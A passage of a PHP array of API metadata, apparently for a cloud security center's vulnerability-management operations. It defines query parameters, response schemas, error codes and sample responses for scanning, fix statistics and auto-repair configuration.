'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F929E952-EBFC-56C3-BD35-BF8B59024C69\\",\\n \\"Logs\\": [\\n {\\n \\"Text\\": \\"mv: cannot move \'CentOS-Base.repo\' to \'CentOS-Base.repo.backup\': Permission denied\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeTaskErrorLog', ], 'DescribeTarget' => [ 'summary' => 'Queries the servers on which vulnerability scan is enabled.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the query. Set the value to vul.'."\n", 'type' => 'string', 'required' => false, 'example' => 'vul', ], ], [ 'name' => 'Config', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cms**: Web CMS vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **emg**: urgent vulnerability'."\n", 'type' => 'string', 'required' => false, 'example' => '{"vulType":"cms"}', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '79CFF74D-E967-5407-8A78-EE03B925FDAA', ], 'Targets' => [ 'description' => 'The information about the server.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The object.'."\n", 'type' => 'object', 'properties' => [ 'Flag' => [ 'description' => 'The flag that is added to the server. This parameter can be empty.'."\n", 'type' => 'string', 'example' => 'del', ], 'Target' => [ 'description' => 'The UUID of the server or the ID of the server group.'."\n", 'type' => 'string', 'example' => '5c5f0169-3527-40a2-b5ff-0bc1db8f****', ], 'TargetType' => [ 'description' => 'The type of the object. Valid values:'."\n" ."\n" .'* **uuid**: a server'."\n" .'* **groupId**: a server group'."\n", 'type' => 'string', 'example' => 'uuid', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 10,\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925FDAA\\",\\n \\"Targets\\": [\\n {\\n \\"Flag\\": \\"del\\",\\n \\"Target\\": \\"5c5f0169-3527-40a2-b5ff-0bc1db8f****\\",\\n \\"TargetType\\": \\"uuid\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeTarget', ], 'DescribeMachineCanReboot' => [ 'summary' => 'Queries whether a server can be restarted after the vulnerabilities on the server are fixed. The fixes take effect only after the server is restarted.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerabilities. Valid values:'."\n" ."\n" .'* cve: Linux software vulnerabilities'."\n" .'* sys: Windows system vulnerabilities'."\n", 'type' => 'string', 'required' => false, 'example' => 'sys', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '5b268326-273e-44fc-a0e3-9482435c****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'CanReboot' => [ 'description' => 'Indicates whether the server can be restarted. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '79CFF74D-E967-5407-8A78-EE03B925FDAA', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CanReboot\\": true,\\n \\"RequestId\\": \\"79CFF74D-E967-5407-8A78-EE03B925FDAA\\"\\n}","type":"json"}]', 'title' => 'DescribeMachineCanReboot', ], 'DescribeEmgUserAgreement' => [ 'summary' => 'Queries whether Security Center is authorized to scan for urgent vulnerabilities.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Auth' => [ 'description' => 'Indicates whether Security Center is authorized to scan for urgent vulnerabilities. Valid values:'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '768BB9F5-8AF3-557F-A489-9BDD64CB3E4C', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Auth\\": true,\\n \\"RequestId\\": \\"768BB9F5-8AF3-557F-A489-9BDD64CB3E4C\\"\\n}","type":"json"}]', 'title' => 'DescribeEmgUserAgreement', ], 'DescribeClusterVulStatistics' => [ 'summary' => 'Queries the statistics of vulnerabilities that are detected on a cluster.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'ClusterId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the container cluster.'."\n", 'type' => 'string', 'required' => false, 'example' => 'c471f0f61b9c04f8380556e922cf1****', ], ], [ 'name' => 'Types', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerabilities. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerabilities'."\n" .'* **app**: application vulnerabilities'."\n" .'* **sca**: vulnerabilities that are detected based on software component analysis'."\n", 'type' => 'string', 'required' => false, 'example' => 'cve,app,sca', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', ], 'VulStat' => [ 'description' => 'The statistics of the vulnerabilities.'."\n", 'type' => 'object', 'properties' => [ 'AsapCount' => [ 'description' => 'The number of high-risk vulnerabilities.'."\n", 'type' => 'string', 'example' => '13', ], 'LaterCount' => [ 'description' => 'The number of medium-risk vulnerabilities.'."\n", 'type' => 'string', 'example' => '21', ], 'NntfCount' => [ 'description' => 'The number of low-risk vulnerabilities.'."\n", 'type' => 'string', 'example' => '0', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"VulStat\\": {\\n \\"AsapCount\\": \\"13\\",\\n \\"LaterCount\\": \\"21\\",\\n \\"NntfCount\\": \\"0\\"\\n }\\n}","type":"json"}]', 'title' => 'DescribeClusterVulStatistics', ], 'DescribeAppVulScanCycle' => [ 'summary' => 'Queries the scan cycle for application vulnerabilities.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Cycle' => [ 'description' => 'The scan cycle for application vulnerabilities.'."\n" ."\n" .'* 1week'."\n" .'* 2weeks'."\n" .'* 3days'."\n", 'type' => 'string', 'example' => '1week', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '934E6D2A-0123-5A99-88BA-80DC27634E22', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Cycle\\": \\"1week\\",\\n \\"RequestId\\": \\"934E6D2A-0123-5A99-88BA-80DC27634E22\\"\\n}","type":"json"}]', 'title' => 'DescribeAppVulScanCycle', ], 'DescribeVulConfig' => [ 'summary' => 'Queries the configurations of vulnerability management.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '113.110.XX.XX', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of configuration. By default, all types of configurations are queried. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability.'."\n" .'* **sys**: Windows system vulnerability.'."\n" .'* **cms**: Web-CMS vulnerability.'."\n" .'* **app**: application vulnerability that is detected by using web scanner.'."\n" .'* **emg**: urgent vulnerability.'."\n" .'* **scanMode**: displays easily exploitable vulnerability.'."\n" .'* **imageVulClean**: vulnerability retention duration.'."\n" .'* **yum**: preferentially uses YUM or APT sources of Alibaba Cloud to fix vulnerabilities.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cve', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The information about the configurations of vulnerability management.'."\n", 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of configurations.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], 'TargetConfigs' => [ 'description' => 'An array that consists of the configurations of vulnerability management.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The configuration of vulnerability management.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of configuration. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability.'."\n" .'* **sys**: Windows system vulnerability.'."\n" .'* **cms**: Web-CMS vulnerability.'."\n" .'* **app**: application vulnerability that is detected by using web scanner.'."\n" .'* **emg**: urgent vulnerability.'."\n" .'* **scanMode**: displays easily exploitable vulnerability.'."\n" .'* **imageVulClean**: vulnerability retention duration.'."\n" .'* **yum**: preferentially uses YUM or APT sources of Alibaba Cloud to fix vulnerabilities.'."\n", 'type' => 'string', 'example' => 'cve', ], 'OverAllConfig' => [ 'description' => 'Indicates whether the vulnerability management feature is enabled for all servers. Valid values:'."\n" ."\n" .'* **off**: disabled'."\n" .'* **on**: enabled'."\n", 'type' => 'string', 'example' => 'on', ], 'Config' => [ 'description' => 'The configuration of vulnerability scan.'."\n" ."\n" .'> Valid values when you set the Type parameter to **cve**, **sys**, **cms**, **app**, **emg**, or **yum**:'."\n" ."\n" .'* **on**: enabled'."\n" ."\n" .'* **off**: disabled'."\n" ."\n" .'Valid values when you set the Type parameter to **scanMode**:'."\n" ."\n" .'* **real**: displays easily exploitable vulnerability.'."\n" ."\n" .'* **all**: displays all vulnerabilities.'."\n" ."\n" .'When you set the Type parameter to **imageVulClean**, the value of this parameter indicates the vulnerability retention period in days.'."\n", 'type' => 'string', 'example' => '90', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 10,\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"TargetConfigs\\": [\\n {\\n \\"Type\\": \\"cve\\",\\n \\"OverAllConfig\\": \\"on\\",\\n \\"Config\\": \\"90\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeVulConfig', ], 'DescribeVulFixStatistics' => [ 'summary' => 'Queries the statistics of vulnerability fixes.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', ], 'FixTotal' => [ 'description' => 'The total statistics of vulnerability fixes.'."\n", 'type' => 'object', 'properties' => [ 'FixingNum' => [ 'description' => 'The number of vulnerabilities that are being fixed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '22', ], 'FixedTodayNum' => [ 'description' => 'The number of vulnerabilities that are fixed on the current day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '15', ], 'FixedTotalNum' => [ 'description' => 'The total number of fixed vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '47', ], 'NeedFixNum' => [ 'description' => 'The number of unfixed vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '62', ], ], ], 'FixStat' => [ 'description' => 'An array that consists of the statistics of vulnerability fixes by vulnerability type.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The statistics of a vulnerability fix.'."\n", 'type' => 'object', 'properties' => [ 'FixingNum' => [ 'description' => 'The number of vulnerabilities that are being fixed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '17', ], 'Type' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n" .'* **cms**: Web-CMS vulnerability'."\n" .'* **app**: application vulnerability'."\n" .'* **emg**: urgent vulnerability'."\n", 'type' => 'string', 'example' => 'cve', ], 'FixedTodayNum' => [ 'description' => 'The number of vulnerabilities that are fixed on the current day.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'FixedTotalNum' => [ 'description' => 'The total number of fixed vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '22', ], 'NeedFixNum' => [ 'description' => 'The number of unfixed vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '8', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"FixTotal\\": {\\n \\"FixingNum\\": 22,\\n \\"FixedTodayNum\\": 15,\\n \\"FixedTotalNum\\": 47,\\n \\"NeedFixNum\\": 62\\n },\\n \\"FixStat\\": [\\n {\\n \\"FixingNum\\": 17,\\n \\"Type\\": \\"cve\\",\\n \\"FixedTodayNum\\": 10,\\n \\"FixedTotalNum\\": 22,\\n \\"NeedFixNum\\": 8\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeVulFixStatistics', ], 'DescribeUuidsByVulNames' => [ 'summary' => 'Queries a list of assets that support fixing based on vulnerability names.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92234', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n", 'type' => 'string', 'required' => true, 'example' => 'cve', ], ], [ 'name' => 'StatusList', 'in' => 'query', 'schema' => [ 'description' => 'The status of the vulnerability. Separate multiple states with commas (,). Valid values:'."\n" ."\n" .'* **1**: unfixed'."\n" .'* **2**: fix failed'."\n", 'type' => 'string', 'required' => false, 'example' => '1,4', ], ], [ 'name' => 'Tag', 'in' => 'query', 'schema' => [ 'description' => 'The tag of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'oval', ], ], [ 'name' => 'Level', 'in' => 'query', 'schema' => [ 'description' => 'The severity of the vulnerability. Separate multiple severities with commas (,). Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'required' => false, 'example' => 'high,low', ], ], [ 'name' => 'Dealed', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether the vulnerability is fixed. Valid values:'."\n" ."\n" .'* **y**: the vulnerability is fixed.'."\n" .'* **n**: the vulnerability is not fixed.'."\n", 'type' => 'string', 'required' => false, 'example' => 'n', ], ], [ 'name' => 'GroupId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the asset group.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '11286014', ], ], [ 'name' => 'VpcInstanceIds', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the virtual private cloud (VPC) in which the vulnerability is detected. Separate multiple IDs with commas (,).'."\n", 'type' => 'string', 'required' => false, 'example' => 'vpc-uf6ssrvbrwe37ekw****,vpc-bp1aevy8sofi8mh1q****', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The remarks for the asset affected by the vulnerability. The value can be the private IP address, public IP address, or name of the asset. Fuzzy match is supported.'."\n", 'type' => 'string', 'required' => false, 'example' => '10.7.', ], ], [ 'name' => 'SearchTags', 'in' => 'query', 'schema' => [ 'description' => 'The tags that are used to search for the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'oval', ], ], [ 'name' => 'FieldName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the search field that is used to query containers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'namespace', ], ], [ 'name' => 'FieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the search field that is used to query containers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cas-adad-qeqwe', ], ], [ 'name' => 'TargetType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the query condition. Valid values:'."\n" ."\n" .'* **containerId**: the ID of the container'."\n" .'* **uuid**: the ID of the asset'."\n", 'type' => 'string', 'required' => false, 'example' => 'uuid', ], ], [ 'name' => 'Necessity', 'in' => 'query', 'schema' => [ 'description' => 'The priority based on which the vulnerability is fixed. Separate multiple priorities with commas (,). Valid values:'."\n" ."\n" .'* **asap**: high'."\n" .'* **later**: medium'."\n" .'* **nntf**: low'."\n", 'type' => 'string', 'required' => false, 'example' => 'asap,later,nntf', ], ], [ 'name' => 'VulNames', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'An array that consists of the names of vulnerabilities.'."\n" ."\n" .'> You can call the [DescribeGroupedVul](~~DescribeGroupedVul~~) operation to obtain the names of vulnerabilities.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'centos:8:rhsa-2020:1665', ], 'required' => true, 'maxItems' => 10000, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '97286A-4A6B-4A4-95FA-EC7E3E2451', ], 'MachineInfoStatistics' => [ 'description' => 'The statistics about the servers.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The statistical information about the assets.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '18375c64-eaa2-4702-92b0-4ee7******', ], 'MachineIp' => [ 'description' => 'The IP address of the server.'."\n", 'type' => 'string', 'example' => '192.168.XX.XX', ], 'Os' => [ 'description' => 'The operating system that the server runs.'."\n", 'type' => 'string', 'example' => 'windows', ], 'MachineName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'TestMachine', ], 'MachineInstanceId' => [ 'description' => 'The instance ID of the server.'."\n", 'type' => 'string', 'example' => 'i-wz9gd1os5talju****', ], 'RegionId' => [ 'description' => 'The region ID of the server.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'InternetIp' => [ 'description' => 'The public IP address of the server on which the exception was detected.'."\n", 'type' => 'string', 'example' => '47.98.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server on which the exception was detected.'."\n", 'type' => 'string', 'example' => '172.18.XX.XX', ], ], ], ], 'VulCount' => [ 'description' => 'The total number of vulnerabilities on the server.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"97286A-4A6B-4A4-95FA-EC7E3E2451\\",\\n \\"MachineInfoStatistics\\": [\\n {\\n \\"Uuid\\": \\"18375c64-eaa2-4702-92b0-4ee7******\\",\\n \\"MachineIp\\": \\"192.168.XX.XX\\",\\n \\"Os\\": \\"windows\\",\\n \\"MachineName\\": \\"TestMachine\\",\\n \\"MachineInstanceId\\": \\"i-wz9gd1os5talju****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"InternetIp\\": \\"47.98.XX.XX\\",\\n \\"IntranetIp\\": \\"172.18.XX.XX\\"\\n }\\n ],\\n \\"VulCount\\": 2\\n}","type":"json"}]', 'title' => 'DescribeUuidsByVulNames', ], 'ListVulAutoRepairConfig' => [ 'summary' => 'Queries the existing configurations of vulnerabilities that can be automatically fixed.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'title' => '漏洞类型', 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [], 'example' => 'cve', ], ], [ 'name' => 'AliasName', 'in' => 'query', 'schema' => [ 'title' => '漏洞别名', 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'required' => false, 'example' => 'RHSA-2022:0274-Important: polkit pkexec Local Privilege Escalation Vulnerability(CVE-2021-4034)', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return. Default value: **1**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'minimum' => '1', 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'maximum' => '100', 'minimum' => '1', 'example' => '10', 'default' => '20', ], ], [ 'name' => 'Lang', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The existing configuration of vulnerability that can be automatically fixed.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '3B3F3A90-46A5-4023-A2D8-D68B14262F96', ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The status code returned. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The error message returned.'."\n", 'type' => 'string', 'example' => 'success', ], 'HttpStatusCode' => [ 'description' => 'The HTTP status code returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'VulAutoRepairConfigList' => [ 'description' => 'An array consisting of the existing configurations of vulnerabilities that can be automatically fixed.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The vulnerability that can be automatically fixed.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The configuration ID of the vulnerability.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '37338', ], 'Name' => [ 'description' => 'The name of the vulnerability.'."\n", 'type' => 'string', 'example' => 'anolisos:8.4:ANSA-2022:0001'."\n", ], 'Type' => [ 'description' => 'The type of the vulnerability. Valid values:'."\n" ."\n" .'* **cve**: Linux software vulnerability'."\n" .'* **sys**: Windows system vulnerability'."\n", 'type' => 'string', 'example' => 'cve', ], 'AliasName' => [ 'description' => 'The alias of the vulnerability.'."\n", 'type' => 'string', 'example' => 'RHSA-2022:0274-Important: polkit pkexec Local Privilege Escalation Vulnerability(CVE-2021-4034)', ], 'Reason' => [ 'description' => 'The reason why the vulnerability can be automatically fixed.'."\n", 'type' => 'string', 'example' => 'The vulnerability fix is risk-free and can be configured to automate the fix.'."\n", ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page. Default value: **10**.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '11', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'InnerError', 'errorMessage' => 'InnerError', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3B3F3A90-46A5-4023-A2D8-D68B14262F96\\",\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"HttpStatusCode\\": 200,\\n \\"VulAutoRepairConfigList\\": [\\n {\\n \\"Id\\": 37338,\\n \\"Name\\": \\"anolisos:8.4:ANSA-2022:0001\\\\n\\",\\n \\"Type\\": \\"cve\\",\\n \\"AliasName\\": \\"RHSA-2022:0274-Important: polkit pkexec Local Privilege Escalation Vulnerability(CVE-2021-4034)\\",\\n \\"Reason\\": \\"The vulnerability fix is risk-free and can be configured to automate the fix.\\\\n\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 11,\\n \\"Count\\": 10\\n }\\n}","type":"json"}]', 'title' => 'ListVulAutoRepairConfig', ], 'CreateVulAutoRepairConfig' => [ 'summary' => 'Creates a list of vulnerabilities that can be automatically fixed. After the list is created, you can select the list when you create a vulnerability fixing task on the Playbook page.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '134324', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'title' => '漏洞类型', 'description' => 'The type of the vulnerability. Valid values: -**cve**: Linux software vulnerability -**sys**: Windows system vulnerability'."\n", 'type' => 'string', 'required' => true, 'enumValueTitles' => [], 'example' => 'cve', 'enum' => [ 'cve', 'sys', ], ], ], [ 'name' => 'VulAutoRepairConfigList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The vulnerabilities that can be automatically 